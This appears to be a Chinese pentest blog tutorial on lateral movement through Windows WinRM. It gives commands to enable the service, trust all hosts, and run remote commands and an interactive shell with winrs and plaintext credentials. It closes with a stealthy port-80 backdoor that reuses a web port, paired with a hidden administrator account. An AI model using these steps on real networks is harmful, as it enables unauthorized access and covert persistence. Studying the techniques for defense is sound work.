基于winRM的横向移动

winRM简介

WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。

作为DCOM和WMI远程管理的替代方法,WinRM用于通过WSMan与远程计算机建立会话,WSMan利用HTTP/S作为传输机制来传递XML格式的消息。在现代Windows系统中,WinRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986进行通信。

WinRM本机支持NTLM和Kerberos(域)身份验证。初始身份验证后,WinRM会话将使用AES加密(Microsoft Docs)保护。

注意:必须配置并运行WinRM服务才能接受远程连接。WinRM接受连接可能还需要几个步骤。请参阅这篇 Pentest Lab 文章 以了解更多信息。

※ winRM横向移动同时适用于工作组和域环境。

利用条件

通信的双方都需要开启WinRM服务
WinRS 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。

只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。

WinRM状态查询

PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}                    

ExitCode  : 1077
Name      : WinRM
ProcessId : 0
StartMode : Manual
State     : Stopped
Status    : OK

开启可以使用下面其中一条命令即可

winrm quickconfig -q #这条命令运行后会自动添加防火墙例外规则,放行5985端口。
Enable-PSRemoting -Force

再次查询

PS C:\Users\Administrator> Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

ExitCode  : 0
Name      : WinRM
ProcessId : 1128
StartMode : Auto
State     : Running
Status    : OK

服务端防火墙允许WinRM服务端口通信

默认为5985、5986;如果5985打开,但是5986关闭,标识WinRM服务配置为仅接受HTTP连接。修改默认端口可以使用如下:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

WinRM通信两端配置要求

  • 1.查看WinRM具体配置

    winrm get winrm/config
  • 2.允许所有客户端IP连接

    winrm set winrm/config/Client @{TrustedHosts="*"}
    winrm e winrm/config/listener #查看监听地址和端口

    远程管理

    远程连接时可能会遇到以下错误

    Winrs error:WinRM 客户端无法处理该请求。可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置 TrustedHosts 的详细信息,请运行以下命令: winrm help config。
    
    Winrs error:WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入到域中,则必须使用 HTTPS 传输或者必须将目标计算机添加到 TrustedHosts 配置设置。使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 通过运行以下命令 可获得有关此内容的更多信息: winrm help config。

    在你的攻击机上执行下面这条命令,设置为信任所有主机,再去连接即可

    C:\Users\Administrator>winrm set winrm/config/Client @{TrustedHosts="*"}
     Client
      NetworkDelayms = 5000
      URLPrefix = wsman
      AllowUnencrypted = false
      Auth
          Basic = true
          Digest = true
          Kerberos = true
          Negotiate = true
          Certificate = true
          CredSSP = false
      DefaultPorts
          HTTP = 5985
          HTTPS = 5986
      TrustedHosts = *

    远程命令执行

    C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami
    win-win7\administrator

    获取交互式的shell

    C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% cmd
    Microsoft Windows [版本 6.1.7601]
    版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
    
    C:\Users\Administrator>ipconfig
    
    Windows IP 配置
    
    以太网适配器 本地连接:
    
     连接特定的 DNS 后缀 . . . . . . . :
     本地链接 IPv6 地址. . . . . . . . : fe80::95c8:a481:b587:2d7c%11
     IPv4 地址 . . . . . . . . . . . . : 192.168.86.114
     子网掩码  . . . . . . . . . . . . : 255.255.255.0
     默认网关. . . . . . . . . . . . . : 192.168.86.1
    
    隧道适配器 isatap.{993CBC2D-5164-415A-A70E-00FF0F6119D5}:
    
     媒体状态  . . . . . . . . . . . . : 媒体已断开
     连接特定的 DNS 后缀 . . . . . . . :

    第三方工具

    使用WSMan.Automation COM对象通过WinRM执行远程命令。

https://github.com/bohops/WSMan-WinRM

其他利用
开启远程主机3389
如果目标开启了WinRM可以利用PeekABoo工具使目标开启3389

端口复用后门
将WinRM监听端口由5985改为80或者443,即使端口被web服务也不影响,并且不影响web服务。利用如下

  • 1.配置目标WinRM服务,更改监听端口开启复用

    winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
    winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
  • 2.链接目标

    winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami

    该方法适用于有web服务的机器,不会开启新的端口,配合添加隐藏管理员用户,隐蔽性极高。

    参考引用:

    http://t3ngyu.leanote.com/post/LM-WinRM-WinRS

https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/

https://xz.aliyun.com/t/6888

https://www.cnblogs.com/-mo-/p/12019314.html

Last modification:September 14, 2020
如果觉得我的文章对你有用,请随意赞赏